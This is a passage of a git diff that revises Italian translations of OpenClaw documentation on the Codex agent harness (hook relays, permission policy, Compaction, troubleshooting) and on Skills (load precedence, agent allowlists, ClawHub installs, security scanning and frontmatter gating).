di prompt e contesto | Supportato | OpenClaw costruisce overlay del prompt e proietta il contesto nel turno Codex prima di avviare o riprendere il thread. | +| Ciclo di vita del motore di contesto | Supportato | Assemblaggio, ingestione o manutenzione dopo il turno e coordinamento della compaction del motore di contesto vengono eseguiti per i turni Codex. | +| Hook degli strumenti dinamici | Supportato | `before_tool_call`, `after_tool_call` e il middleware dei risultati degli strumenti vengono eseguiti attorno agli strumenti dinamici posseduti da OpenClaw. | +| Hook del ciclo di vita | Supportati come osservazioni dell'adapter | `llm_input`, `llm_output`, `agent_end`, `before_compaction` e `after_compaction` vengono emessi con payload onesti della modalità Codex. | +| Gate di revisione della risposta finale | Supportato tramite il relay degli hook nativi | Codex `Stop` viene inoltrato a `before_agent_finalize`; `revise` chiede a Codex un ulteriore passaggio del modello prima della finalizzazione. | +| Blocco o osservazione di shell, patch e MCP nativi | Supportato tramite il relay degli hook nativi | Codex `PreToolUse` e `PostToolUse` vengono inoltrati per le superfici di strumenti nativi confermate, inclusi i payload MCP su app-server Codex `0.125.0` o versioni successive. Il blocco è supportato; la riscrittura degli argomenti no. | +| Policy dei permessi nativi | Supportata tramite il relay degli hook nativi | Codex `PermissionRequest` può essere instradato attraverso la policy OpenClaw dove il runtime lo espone. Se OpenClaw non restituisce alcuna decisione, Codex continua attraverso il suo normale percorso guardian o di approvazione utente. | | Acquisizione della traiettoria dell'app-server | Supportata | OpenClaw registra la richiesta inviata all'app-server e le notifiche dell'app-server che riceve. | Non supportato nel runtime Codex v1: -| Superficie | Confine V1 | Percorso futuro | -| -------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------ | -| Mutazione degli argomenti degli strumenti nativi | Gli hook pre-strumento nativi Codex possono bloccare, ma OpenClaw non riscrive gli argomenti degli strumenti nativi Codex. | Richiede supporto hook/schema Codex per l'input sostitutivo dello strumento. | -| Cronologia modificabile della trascrizione nativa Codex | Codex possiede la cronologia canonica del thread nativo. OpenClaw possiede uno specchio e può proiettare contesto futuro, ma non dovrebbe mutare internals non supportati. | Aggiungere API esplicite dell'app-server Codex se è necessario intervenire chirurgicamente sul thread nativo. | -| `tool_result_persist` per record di strumenti nativi Codex | Quell'hook trasforma scritture di trascrizione possedute da OpenClaw, non record di strumenti nativi Codex. | Potrebbe rispecchiare record trasformati, ma la riscrittura canonica richiede supporto Codex. | -| Metadati ricchi di Compaction nativa | OpenClaw osserva l'inizio e il completamento della Compaction, ma non riceve un elenco stabile mantenuto/scartato, un delta di token o un payload di riepilogo. | Richiede eventi di Compaction Codex più ricchi. | -| Intervento sulla Compaction | Gli hook di Compaction OpenClaw attuali sono a livello di notifica in modalità Codex. | Aggiungere hook Codex pre/post Compaction se i plugin devono porre veto o riscrivere la Compaction nativa. | -| Acquisizione byte per byte della richiesta API del modello | OpenClaw può acquisire richieste e notifiche dell'app-server, ma il core Codex costruisce internamente la richiesta finale all'API OpenAI. | Richiede un evento di tracciamento delle richieste modello Codex o un'API di debug. | +| Superficie | Confine V1 | Percorso futuro | +| --------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------- | +| Mutazione degli argomenti degli strumenti nativi | Gli hook nativi pre-strumento di Codex possono bloccare, ma OpenClaw non riscrive gli argomenti degli strumenti nativi di Codex. | Richiede supporto di hook/schema Codex per la sostituzione dell'input dello strumento. | +| Cronologia modificabile delle trascrizioni native di Codex | Codex possiede la cronologia canonica nativa del thread. OpenClaw possiede una copia speculare e può proiettare il contesto futuro, ma non dovrebbe mutare componenti interni non supportati. | Aggiungere API esplicite dell'app-server Codex se è necessario intervenire sui thread nativi. | +| `tool_result_persist` per i record degli strumenti nativi di Codex | Quell'hook trasforma le scritture di trascrizione di proprietà di OpenClaw, non i record degli strumenti nativi di Codex. | Potrebbe creare una copia speculare dei record trasformati, ma la riscrittura canonica richiede supporto di Codex. | +| Metadati ricchi della Compaction nativa | OpenClaw osserva l'inizio e il completamento della Compaction, ma non riceve un elenco stabile di elementi mantenuti/scartati, un delta di token o un payload di riepilogo. | Richiede eventi di Compaction Codex più ricchi. | +| Intervento sulla Compaction | Gli hook di Compaction attuali di OpenClaw sono a livello di notifica in modalità Codex. | Aggiungere hook Codex pre/post Compaction se i Plugin devono poter porre il veto o riscrivere la Compaction nativa. | +| Acquisizione byte per byte della richiesta API del modello | OpenClaw può acquisire richieste e notifiche dell'app-server, ma il core di Codex costruisce internamente la richiesta finale all'API OpenAI. | Richiede un evento di tracciamento delle richieste del modello Codex o un'API di debug. | ## Strumenti, media e Compaction -L'harness Codex cambia solo l'esecutore dell'agente incorporato di basso livello. +L'harness Codex modifica solo l'esecutore dell'agente incorporato di basso livello. -OpenClaw continua a costruire l'elenco degli strumenti e riceve risultati degli strumenti dinamici -dall'harness. Testo, immagini, video, musica, TTS, approvazioni e output degli strumenti di messaggistica -continuano attraverso il normale percorso di consegna OpenClaw. +OpenClaw continua a costruire l'elenco degli strumenti e riceve risultati dinamici degli strumenti dall'harness. Testo, immagini, video, musica, TTS, approvazioni e output degli strumenti di messaggistica continuano attraverso il normale percorso di consegna di OpenClaw. -Il relay degli hook nativi è intenzionalmente generico, ma il contratto di supporto v1 è -limitato ai percorsi degli strumenti nativi Codex e dei permessi che OpenClaw testa. Nel -runtime Codex, questo include payload shell, patch e MCP `PreToolUse`, -`PostToolUse` e `PermissionRequest`. Non presumere che ogni futuro -evento hook Codex sia una superficie di plugin OpenClaw finché il contratto runtime non lo -nomina. +Il relay degli hook nativi è intenzionalmente generico, ma il contratto di supporto v1 è limitato ai percorsi di strumenti nativi e autorizzazioni di Codex che OpenClaw testa. Nel runtime Codex, questo include i payload shell, patch e MCP `PreToolUse`, `PostToolUse` e `PermissionRequest`. Non presumere che ogni futuro evento hook di Codex sia una superficie Plugin di OpenClaw finché il contratto runtime non lo nomina. -Per `PermissionRequest`, OpenClaw restituisce decisioni esplicite di allow o deny -solo quando la policy decide. Un risultato senza decisione non è un allow. Codex lo tratta come assenza di -decisione dell'hook e passa al proprio percorso di guardian o approvazione utente. +Per `PermissionRequest`, OpenClaw restituisce solo decisioni esplicite di consenso o rifiuto quando la policy decide. Un risultato senza decisione non è un consenso. Codex lo tratta come assenza di decisione dell'hook e passa al proprio percorso di guardian o approvazione utente. -Le richieste di approvazione degli strumenti MCP Codex vengono instradate attraverso il flusso di -approvazione dei plugin di OpenClaw quando Codex contrassegna `_meta.codex_approval_kind` come -`"mcp_tool_call"`. I prompt Codex `request_user_input` vengono inviati di nuovo alla -chat di origine, e il messaggio di follow-up successivo in coda risponde a quella richiesta del server -nativo invece di essere indirizzato come contesto aggiuntivo. Le altre richieste di elicitazione -MCP continuano a fallire in modo chiuso. +Le richieste di approvazione degli strumenti MCP di Codex vengono instradate attraverso il flusso di approvazione Plugin di OpenClaw quando Codex marca `_meta.codex_approval_kind` come `"mcp_tool_call"`. I prompt Codex `request_user_input` vengono rimandati alla chat di origine e il successivo messaggio di follow-up in coda risponde a quella richiesta del server nativo invece di essere guidato come contesto aggiuntivo. Le altre richieste di sollecitazione MCP continuano a fallire in modo chiuso. -Il controllo della coda delle esecuzioni attive si mappa su `turn/steer` dell'app-server Codex. Con il valore predefinito `messages.queue.mode: "steer"`, OpenClaw raggruppa i messaggi di chat in coda per la finestra di quiete configurata e li invia come un'unica richiesta `turn/steer` in ordine di arrivo. La modalità legacy `queue` invia richieste `turn/steer` separate. Le svolte di revisione Codex e Compaction manuale possono rifiutare il controllo nello stesso turno; in tal caso OpenClaw usa la coda di follow-up quando la modalità selezionata consente il fallback. Vedi [Coda di controllo](/it/concepts/queue-steering). +Lo steering della coda delle esecuzioni attive si mappa su `turn/steer` dell'app-server Codex. Con il valore predefinito `messages.queue.mode: "steer"`, OpenClaw raggruppa i messaggi chat in coda per la finestra di quiete configurata e li invia come un'unica richiesta `turn/steer` in ordine di arrivo. La modalità legacy `queue` invia richieste `turn/steer` separate. I turni di revisione e Compaction manuale di Codex possono rifiutare lo steering nello stesso turno, nel qual caso OpenClaw usa la coda di follow-up quando la modalità selezionata consente il fallback. Vedi [Coda di steering](/it/concepts/queue-steering). -Quando il modello selezionato usa l'harness Codex, la Compaction nativa del thread viene delegata all'app-server Codex. OpenClaw mantiene uno specchio della trascrizione per la cronologia del canale, la ricerca, `/new`, `/reset` e il futuro cambio di modello o harness. Lo specchio include il prompt dell'utente, il testo finale dell'assistente e i record leggeri di ragionamento o piano di Codex quando l'app-server li emette. Oggi OpenClaw registra solo i segnali di avvio e completamento della Compaction nativa. Non espone ancora un riepilogo della Compaction leggibile da una persona né un elenco verificabile delle voci che Codex ha mantenuto dopo la Compaction. +Quando il modello selezionato usa l'harness Codex, la Compaction del thread nativo viene delegata all'app-server Codex. OpenClaw mantiene una copia speculare della trascrizione per cronologia canale, ricerca, `/new`, `/reset` e futuri cambi di modello o harness. La copia speculare include il prompt dell'utente, il testo finale dell'assistente e record leggeri di ragionamento o piano di Codex quando l'app-server li emette. Oggi OpenClaw registra solo segnali di inizio e completamento della Compaction nativa. Non espone ancora un riepilogo della Compaction leggibile da una persona o un elenco verificabile di quali voci Codex abbia mantenuto dopo la Compaction. -Poiché Codex possiede il thread nativo canonico, `tool_result_persist` attualmente non riscrive i record dei risultati degli strumenti nativi di Codex. Si applica solo quando OpenClaw sta scrivendo un risultato di strumento nella trascrizione di una sessione posseduta da OpenClaw. +Poiché Codex possiede il thread nativo canonico, `tool_result_persist` attualmente non riscrive i record dei risultati degli strumenti nativi di Codex. Si applica solo quando OpenClaw scrive un risultato di strumento nella trascrizione di una sessione di proprietà di OpenClaw. -La generazione di media non richiede PI. Immagini, video, musica, PDF, TTS e comprensione dei media continuano a usare le impostazioni del provider/modello corrispondenti, come `agents.defaults.imageGenerationModel`, `videoGenerationModel`, `pdfModel` e `messages.tts`. +La generazione di media non richiede PI. Immagini, video, musica, PDF, TTS e comprensione dei media continuano a usare le impostazioni provider/modello corrispondenti, come `agents.defaults.imageGenerationModel`, `videoGenerationModel`, `pdfModel` e `messages.tts`. ## Risoluzione dei problemi -**Codex non appare come un normale provider `/model`:** è previsto per le nuove configurazioni. Seleziona un modello `openai/gpt-*` con `agentRuntime.id: "codex"` (o un ref legacy `codex/*`), abilita `plugins.entries.codex.enabled` e controlla se `plugins.allow` esclude `codex`. +**Codex non appare come un normale provider `/model`:** è previsto per le nuove configurazioni. Seleziona un modello `openai/gpt-*` con `agentRuntime.id: "codex"` (o un riferimento legacy `codex/*`), abilita `plugins.entries.codex.enabled` e controlla se `plugins.allow` esclude `codex`. -**OpenClaw usa PI invece di Codex:** `agentRuntime.id: "auto"` può ancora usare PI come backend di compatibilità quando nessun harness Codex rivendica l'esecuzione. Imposta `agentRuntime.id: "codex"` per forzare la selezione di Codex durante i test. Ora un runtime Codex forzato fallisce invece di ricadere su PI, a meno che tu non imposti esplicitamente `agentRuntime.fallback: "pi"`. Una volta selezionato l'app-server Codex, i suoi errori vengono esposti direttamente senza configurazione di fallback aggiuntiva. +**OpenClaw usa PI invece di Codex:** `agentRuntime.id: "auto"` può ancora usare PI come backend di compatibilità quando nessun harness Codex rivendica l'esecuzione. Imposta `agentRuntime.id: "codex"` per forzare la selezione di Codex durante i test. Un runtime Codex forzato ora fallisce invece di ricadere su PI, a meno che tu non imposti esplicitamente `agentRuntime.fallback: "pi"`. Una volta selezionato l'app-server Codex, i suoi errori emergono direttamente senza configurazione di fallback aggiuntiva. -**L'app-server viene rifiutato:** aggiorna Codex in modo che l'handshake dell'app-server riporti la versione `0.125.0` o successiva. Le prerelease della stessa versione o le versioni con suffisso di build come `0.125.0-alpha.2` o `0.125.0+custom` vengono rifiutate perché il limite minimo del protocollo stabile `0.125.0` è ciò che OpenClaw testa. +**L'app-server viene rifiutato:** aggiorna Codex affinché l'handshake dell'app-server riporti la versione `0.125.0` o successiva. Prerelease della stessa versione o versioni con suffisso di build come `0.125.0-alpha.2` o `0.125.0+custom` vengono rifiutate perché il livello minimo del protocollo stabile `0.125.0` è ciò che OpenClaw testa. -**Il rilevamento dei modelli è lento:** abbassa `plugins.entries.codex.config.discovery.timeoutMs` o disabilita il rilevamento. +**La scoperta dei modelli è lenta:** riduci `plugins.entries.codex.config.discovery.timeoutMs` o disabilita la scoperta. -**Il trasporto WebSocket fallisce immediatamente:** controlla `appServer.url`, `authToken` e che l'app-server remoto parli la stessa versione del protocollo dell'app-server Codex. +**Il trasporto WebSocket fallisce immediatamente:** controlla `appServer.url`, `authToken` e che l'app-server remoto parli la stessa versione del protocollo app-server Codex. -**Un modello non Codex usa PI:** è previsto, a meno che tu non abbia forzato `agentRuntime.id: "codex"` per quell'agente o selezionato un ref legacy `codex/*`. I ref semplici `openai/gpt-*` e quelli di altri provider restano sul loro normale percorso provider in modalità `auto`. Se forzi `agentRuntime.id: "codex"`, ogni turno incorporato per quell'agente deve essere un modello OpenAI supportato da Codex. +**Un modello non Codex usa PI:** è previsto, a meno che tu non abbia forzato `agentRuntime.id: "codex"` per quell'agente o selezionato un riferimento legacy `codex/*`. I semplici riferimenti `openai/gpt-*` e di altri provider restano sul loro normale percorso provider in modalità `auto`. Se forzi `agentRuntime.id: "codex"`, ogni turno incorporato per quell'agente deve essere un modello OpenAI supportato da Codex. -**Computer Use è installato ma gli strumenti non vengono eseguiti:** controlla `/codex computer-use status` da una nuova sessione. Se uno strumento riporta `Native hook relay unavailable`, usa `/new` o `/reset`; se il problema persiste, riavvia il Gateway per eliminare registrazioni obsolete degli hook nativi. Se `computer-use.list_apps` va in timeout, riavvia Codex Computer Use o Codex Desktop e riprova. +**Computer Use è installato ma gli strumenti non vengono eseguiti:** controlla `/codex computer-use status` da una nuova sessione. Se uno strumento segnala `Native hook relay unavailable`, usa `/new` o `/reset`; se persiste, riavvia il Gateway per eliminare registrazioni stale degli hook nativi. Se `computer-use.list_apps` va in timeout, riavvia Codex Computer Use o Codex Desktop e riprova. ## Correlati - [Plugin harness agente](/it/plugins/sdk-agent-harness) -- [Runtime agente](/it/concepts/agent-runtimes) +- [Runtime degli agenti](/it/concepts/agent-runtimes) - [Provider di modelli](/it/concepts/model-providers) - [Provider OpenAI](/it/providers/openai) - [Stato](/it/cli/status) -- [Hook dei Plugin](/it/plugins/hooks) -- [Riferimento alla configurazione](/it/gateway/configuration-reference) +- [Hook Plugin](/it/plugins/hooks) +- [Riferimento della configurazione](/it/gateway/configuration-reference) - [Test](/it/help/testing-live#live-codex-app-server-harness-smoke) diff --git a/docs/it/tools/skills.md b/docs/it/tools/skills.md index 8140946ab..3024aba9a 100644 --- a/docs/it/tools/skills.md +++ b/docs/it/tools/skills.md @@ -1,58 +1,58 @@ --- read_when: - - Aggiunta o modifica di Skills - - Modifica del gating delle Skills, delle allowlist o delle regole di caricamento + - Aggiungere o modificare Skills + - Modifica dei controlli di accesso delle Skills, degli elenchi consentiti o delle regole di caricamento - Comprendere la precedenza delle Skills e il comportamento degli snapshot sidebarTitle: Skills -summary: 'Skills: gestiti vs spazio di lavoro, regole di controllo, liste di consentiti degli agenti e collegamento della configurazione' +summary: 'Skills: gestite vs dell''area di lavoro, regole di controllo, allowlist degli agenti e cablaggio della configurazione' title: Skills x-i18n: - generated_at: "2026-04-30T09:17:51Z" + generated_at: "2026-04-30T20:05:39Z" model: gpt-5.5 provider: openai - source_hash: d7dd17f52119bf0a0bb197025070abb68f7667a7d22c3d5fa6ef2f666110a45a + source_hash: b58d690786756bd3539940aae9f2abcb8a497798ed7b6afeb5e6d6e255fcf257 source_path: tools/skills.md workflow: 16 --- -OpenClaw usa cartelle di skill **compatibili con [AgentSkills](https://agentskills.io)** per insegnare all'agente come usare gli strumenti. Ogni skill è una directory che contiene un `SKILL.md` con frontmatter YAML e istruzioni. OpenClaw carica le skill incluse più eventuali override locali opzionali e le filtra al momento del caricamento in base ad ambiente, configurazione e presenza dei binari. +OpenClaw usa cartelle di skill **compatibili con [AgentSkills](https://agentskills.io)** per insegnare all'agente come usare gli strumenti. Ogni skill è una directory contenente un file `SKILL.md` con frontmatter YAML e istruzioni. OpenClaw carica le skill incluse più eventuali override locali opzionali e le filtra al momento del caricamento in base ad ambiente, configurazione e presenza dei binari. ## Posizioni e precedenza -OpenClaw carica le skill da queste fonti, **dalla precedenza più alta alla più bassa**: +OpenClaw carica le skill da queste fonti, **prima la precedenza più alta**: | # | Fonte | Percorso | | --- | --------------------- | -------------------------------- | | 1 | Skill del workspace | `/skills` | | 2 | Skill agente progetto | `/.agents/skills` | -| 3 | Skill agente personali | `~/.agents/skills` | +| 3 | Skill agente personali | `~/.agents/skills` | | 4 | Skill gestite/locali | `~/.openclaw/skills` | | 5 | Skill incluse | fornite con l'installazione | | 6 | Cartelle skill extra | `skills.load.extraDirs` (config) | -Se il nome di una skill è in conflitto, vince la fonte con precedenza più alta. +Se il nome di una skill è in conflitto, vince la fonte più alta. -## Skill per agente rispetto a skill condivise +La directory nativa `$CODEX_HOME/skills` della CLI Codex non è una di queste radici delle skill di OpenClaw. In modalità harness Codex, gli avvii locali dell'app-server usano home Codex isolate per agente, quindi le skill personali della CLI Codex non vengono caricate implicitamente. Usa `openclaw migrate codex --dry-run` per inventariarle e `openclaw migrate codex` per scegliere le directory delle skill con un prompt interattivo a caselle di controllo prima di copiarle nel workspace dell'agente OpenClaw corrente. Per esecuzioni non interattive, ripeti `--skill ` per le skill esatte da copiare. + +## Skill per agente e condivise Nelle configurazioni **multi-agente**, ogni agente ha il proprio workspace: -| Ambito | Percorso | Visibile a | -| ---------------------- | ------------------------------------------- | --------------------------- | -| Per agente | `/skills` | Solo quell'agente | -| Agente di progetto | `/.agents/skills` | Solo l'agente di quel workspace | -| Agente personale | `~/.agents/skills` | Tutti gli agenti su quella macchina | -| Gestite/locali condivise | `~/.openclaw/skills` | Tutti gli agenti su quella macchina | +| Ambito | Percorso | Visibile a | +| -------------------- | ------------------------------------------- | --------------------------- | +| Per agente | `/skills` | Solo quell'agente | +| Agente progetto | `/.agents/skills` | Solo l'agente di quel workspace | +| Agente personale | `~/.agents/skills` | Tutti gli agenti su quella macchina | +| Gestite/locali condivise | `~/.openclaw/skills` | Tutti gli agenti su quella macchina | | Directory extra condivise | `skills.load.extraDirs` (precedenza più bassa) | Tutti gli agenti su quella macchina | -Stesso nome in più posizioni → vince la fonte con precedenza più alta. Il workspace batte -agente di progetto, batte agente personale, batte gestite/locali, batte incluse, -batte directory extra. +Stesso nome in più posizioni → vince la fonte più alta. Il workspace batte +l'agente progetto, che batte l'agente personale, che batte gestite/locali, che batte incluse, che batte le directory extra. ## Allowlist delle skill degli agenti -La **posizione** della skill e la **visibilità** della skill sono controlli separati. -Posizione/precedenza decide quale copia di una skill con lo stesso nome vince; le -allowlist degli agenti decidono quali skill un agente può effettivamente usare. +La **posizione** delle skill e la **visibilità** delle skill sono controlli separati. +Posizione/precedenza decide quale copia di una skill con lo stesso nome vince; le allowlist degli agenti decidono quali skill un agente può effettivamente usare. ```json5 { @@ -70,75 +70,57 @@ allowlist degli agenti decidono quali skill un agente può effettivamente usare. ``` - - - Ometti `agents.defaults.skills` per avere skill senza restrizioni per impostazione predefinita. + + - Ometti `agents.defaults.skills` per skill senza restrizioni per impostazione predefinita. - Ometti `agents.list[].skills` per ereditare `agents.defaults.skills`. - - Imposta `agents.list[].skills: []` per non avere skill. + - Imposta `agents.list[].skills: []` per nessuna skill. - Un elenco `agents.list[].skills` non vuoto è l'insieme **finale** per quell'agente — non viene unito ai valori predefiniti. - - L'allowlist effettiva si applica a costruzione del prompt, scoperta dei comandi slash delle skill, sincronizzazione della sandbox e snapshot delle skill. - + - L'allowlist effettiva si applica a creazione dei prompt, rilevamento degli slash-command delle skill, sincronizzazione sandbox e snapshot delle skill. ## Plugin e skill -I Plugin possono fornire le proprie skill elencando directory `skills` in -`openclaw.plugin.json` (percorsi relativi alla radice del plugin). Le skill del Plugin -si caricano quando il Plugin è abilitato. Questo è il posto giusto per guide operative -specifiche dello strumento troppo lunghe per la descrizione dello strumento ma che devono -essere disponibili ogni volta che il Plugin è installato — per esempio, il plugin browser -fornisce una skill `browser-automation` per il controllo del browser in più passaggi. +I Plugin possono fornire le proprie skill elencando le directory `skills` in `openclaw.plugin.json` (percorsi relativi alla radice del Plugin). Le skill del Plugin vengono caricate quando il Plugin è abilitato. Questo è il posto giusto per guide operative specifiche degli strumenti che sono troppo lunghe per la descrizione dello strumento ma dovrebbero essere disponibili ogni volta che il Plugin è installato — per esempio, il Plugin browser fornisce una skill `browser-automation` per il controllo del browser in più passaggi. -Le directory delle skill dei Plugin vengono unite nello stesso percorso a bassa precedenza di -`skills.load.extraDirs`, quindi una skill inclusa, gestita, dell'agente o del workspace con -lo stesso nome le sovrascrive. Puoi condizionarle tramite -`metadata.openclaw.requires.config` nella voce di configurazione del Plugin. +Le directory delle skill del Plugin vengono unite nello stesso percorso a bassa precedenza di `skills.load.extraDirs`, quindi una skill inclusa, gestita, dell'agente o del workspace con lo stesso nome le sovrascrive. Puoi vincolarle tramite `metadata.openclaw.requires.config` nella voce di configurazione del Plugin. -Vedi [Plugin](/it/tools/plugin) per scoperta/configurazione e [Strumenti](/it/tools) per -la superficie degli strumenti insegnata da quelle skill. +Vedi [Plugin](/it/tools/plugin) per rilevamento/configurazione e [Strumenti](/it/tools) per la superficie degli strumenti che quelle skill insegnano. ## Skill Workshop -Il Plugin **Skill Workshop**, opzionale e sperimentale, può creare o aggiornare -skill del workspace a partire da procedure riutilizzabili osservate durante il lavoro -dell'agente. È disabilitato per impostazione predefinita e deve essere abilitato -esplicitamente tramite `plugins.entries.skill-workshop`. +Il Plugin opzionale e sperimentale **Skill Workshop** può creare o aggiornare skill del workspace da procedure riutilizzabili osservate durante il lavoro dell'agente. È disabilitato per impostazione predefinita e deve essere abilitato esplicitamente tramite `plugins.entries.skill-workshop`. -Skill Workshop scrive solo in `/skills`, analizza i contenuti generati, -supporta approvazione in sospeso o scritture sicure automatiche, mette in quarantena -le proposte non sicure e aggiorna lo snapshot delle skill dopo scritture riuscite, -così le nuove skill diventano disponibili senza riavviare il Gateway. +Skill Workshop scrive solo in `/skills`, scansiona i contenuti generati, supporta approvazione in sospeso o scritture sicure automatiche, mette in quarantena le proposte non sicure e aggiorna lo snapshot delle skill dopo scritture riuscite, così le nuove skill diventano disponibili senza riavviare il Gateway. -Usalo per correzioni come _"la prossima volta, verifica l'attribuzione della GIF"_ o -workflow maturati con l'esperienza come checklist di QA dei media. Inizia con approvazione -in sospeso; usa le scritture automatiche solo in workspace affidabili dopo aver esaminato -le proposte. Guida completa: [Plugin Skill Workshop](/it/plugins/skill-workshop). +Usalo per correzioni come _"la prossima volta, verifica l'attribuzione GIF"_ o workflow conquistati con fatica come checklist QA per i media. Inizia con l'approvazione in sospeso; usa le scritture automatiche solo in workspace attendibili dopo aver esaminato le sue proposte. Guida completa: [Plugin Skill Workshop](/it/plugins/skill-workshop). ## ClawHub (installazione e sincronizzazione) -[ClawHub](https://clawhub.ai) è il registro pubblico delle skill per OpenClaw. -Usa i comandi nativi `openclaw skills` per scoperta/installazione/aggiornamento, oppure la -CLI separata `clawhub` per workflow di pubblicazione/sincronizzazione. Guida completa: +[ClawHub](https://clawhub.ai) è il registro pubblico delle Skills per OpenClaw. +Usa i comandi nativi `openclaw skills` per scoprire/installare/aggiornare, oppure la +CLI separata `clawhub` per i flussi di pubblicazione/sincronizzazione. Guida completa: [ClawHub](/it/tools/clawhub). -| Azione | Comando | -| ----------------------------------- | -------------------------------------- | -| Installa una skill nel workspace | `openclaw skills install ` | -| Aggiorna tutte le skill installate | `openclaw skills update --all` | -| Sincronizza (scansione + pubblicazione aggiornamenti) | `clawhub sync --all` | +| Azione | Comando | +| ---------------------------------- | -------------------------------------- | +| Installare una skill nel workspace | `openclaw skills install ` | +| Aggiornare tutte le skill installate | `openclaw skills update --all` | +| Sincronizzare (scansione + pubblicazione degli aggiornamenti) | `clawhub sync --all` | -`openclaw skills install` nativo installa nella directory `skills/` del workspace attivo. -Anche la CLI separata `clawhub` installa in `./skills` nella directory di lavoro corrente -(o ripiega sul workspace OpenClaw configurato). OpenClaw la rileva come +Il comando nativo `openclaw skills install` installa nella directory attiva +`skills/` del workspace. Anche la CLI separata `clawhub` installa in +`./skills` sotto la directory di lavoro corrente (oppure ripiega sul +workspace OpenClaw configurato). OpenClaw lo rileva come `/skills` nella sessione successiva. -Le radici delle skill configurate supportano anche un livello di raggruppamento, come +Le radici skill configurate supportano anche un livello di raggruppamento, come `skills///SKILL.md`, così le skill di terze parti correlate possono essere -mantenute in una cartella condivisa senza scansioni ricorsive ampie. +mantenute in una cartella condivisa senza un’ampia scansione ricorsiva. -Le pagine delle skill ClawHub mostrano lo stato più recente della scansione di sicurezza prima dell'installazione, -con pagine di dettaglio degli scanner per VirusTotal, ClawScan e analisi statica. +Le pagine delle skill di ClawHub mostrano lo stato dell’ultima scansione di sicurezza prima dell’installazione, +con pagine di dettaglio dello scanner per VirusTotal, ClawScan e analisi statica. `openclaw skills install ` rimane solo il percorso di installazione; i publisher -recuperano i falsi positivi tramite la dashboard ClawHub o +gestiscono i falsi positivi tramite la dashboard di ClawHub o `clawhub skill rescan `. ## Sicurezza @@ -149,12 +131,12 @@ Preferisci esecuzioni in sandbox per input non attendibili e strumenti rischiosi [Sandboxing](/it/gateway/sandboxing) per i controlli lato agente. -- La scoperta delle skill nel workspace e nelle directory extra accetta solo radici di skill e file `SKILL.md` il cui realpath risolto rimane all'interno della radice configurata. -- Le installazioni delle dipendenze delle skill supportate dal Gateway (`skills.install`, onboarding e interfaccia impostazioni Skills) eseguono lo scanner integrato per codice pericoloso prima di eseguire i metadati dell'installer. I risultati `critical` bloccano per impostazione predefinita, a meno che il chiamante non imposti esplicitamente l'override pericoloso; i risultati sospetti continuano solo ad avvisare. -- `openclaw skills install ` è diverso: scarica una cartella skill ClawHub nel workspace e non usa il percorso dei metadati dell'installer sopra. -- `skills.entries.*.env` e `skills.entries.*.apiKey` iniettano segreti nel processo **host** per quel turno dell'agente (non nella sandbox). Tieni i segreti fuori da prompt e log. +- Il rilevamento delle skill nel workspace e nelle directory aggiuntive accetta solo radici skill e file `SKILL.md` il cui realpath risolto rimane all’interno della radice configurata. +- Le installazioni di dipendenze delle skill supportate dal Gateway (`skills.install`, onboarding e interfaccia impostazioni Skills) eseguono lo scanner integrato per codice pericoloso prima di eseguire i metadati dell’installer. I risultati `critical` bloccano per impostazione predefinita, a meno che il chiamante non imposti esplicitamente l’override pericoloso; i risultati sospetti continuano solo ad avvisare. +- `openclaw skills install ` è diverso: scarica una cartella skill di ClawHub nel workspace e non usa il percorso dei metadati dell’installer sopra. +- `skills.entries.*.env` e `skills.entries.*.apiKey` iniettano segreti nel processo **host** per quel turno dell’agente (non nella sandbox). Tieni i segreti fuori da prompt e log. -Per un modello di minacce e checklist più ampi, vedi [Sicurezza](/it/gateway/security). +Per un modello di minaccia e checklist più ampi, vedi [Sicurezza](/it/gateway/security). ## Formato SKILL.md @@ -168,34 +150,34 @@ description: Generate or edit images via a provider-backed image workflow ``` OpenClaw segue la specifica AgentSkills per layout/intento. Il parser usato -dall'agente incorporato supporta solo chiavi frontmatter **su una singola riga**; -`metadata` deve essere un **oggetto JSON su una singola riga**. Usa `{baseDir}` nelle -istruzioni per fare riferimento al percorso della cartella della skill. +dall’agente incorporato supporta solo chiavi frontmatter **a riga singola**; +`metadata` deve essere un **oggetto JSON a riga singola**. Usa `{baseDir}` nelle +istruzioni per fare riferimento al percorso della cartella skill. ### Chiavi frontmatter opzionali - URL mostrato come "Sito web" nell'interfaccia Skills di macOS. Supportato anche tramite `metadata.openclaw.homepage`. + URL mostrato come "Sito web" nell’interfaccia macOS Skills. Supportato anche tramite `metadata.openclaw.homepage`. Quando `true`, la skill viene esposta come comando slash utente. - Quando `true`, la skill viene esclusa dal prompt del modello (rimane disponibile tramite invocazione utente). + Quando `true`, la skill viene esclusa dal prompt del modello (rimane comunque disponibile tramite invocazione utente). - Quando impostato su `tool`, il comando slash bypassa il modello e viene inoltrato direttamente a uno strumento. + Quando impostato su `tool`, il comando slash bypassa il modello e viene inviato direttamente a uno strumento. Nome dello strumento da invocare quando è impostato `command-dispatch: tool`. - Per l'inoltro allo strumento, passa la stringa args grezza allo strumento (nessuna analisi core). Lo strumento viene invocato con `{ command: "", commandName: "", skillName: "" }`. + Per l’invio allo strumento, inoltra la stringa grezza degli argomenti allo strumento (nessun parsing core). Lo strumento viene invocato con `{ command: "", commandName: "", skillName: "" }`. -## Condizionamento (filtri al caricamento) +## Gating (filtri al caricamento) -OpenClaw filtra le skill al momento del caricamento usando `metadata` (JSON su una singola riga): +OpenClaw filtra le skill al momento del caricamento usando `metadata` (JSON a riga singola): ```markdown --- @@ -218,10 +200,10 @@ Campi sotto `metadata.openclaw`: Quando `true`, include sempre la skill (salta gli altri gate). - Emoji opzionale usata dall'interfaccia Skills di macOS. + Emoji opzionale usata dall’interfaccia macOS Skills. - URL opzionale mostrato come "Sito web" nell'interfaccia Skills di macOS. + URL opzionale mostrato come "Sito web" nell’interfaccia macOS Skills. Elenco opzionale di piattaforme. Se impostato, la skill è idonea solo su quei sistemi operativi. @@ -233,33 +215,33 @@ Campi sotto `metadata.openclaw`: Almeno uno deve esistere in `PATH`. - La variabile d'ambiente deve esistere o essere fornita nella configurazione. + La variabile d’ambiente deve esistere o essere fornita nella configurazione. Elenco di percorsi `openclaw.json` che devono essere truthy. - Nome della variabile d'ambiente associata a `skills.entries..apiKey`. + Nome della variabile d’ambiente associata a `skills.entries..apiKey`. - Specifiche installer opzionali usate dall'interfaccia Skills di macOS (brew/node/go/uv/download). + Specifiche installer opzionali usate dall’interfaccia macOS Skills (brew/node/go/uv/download). 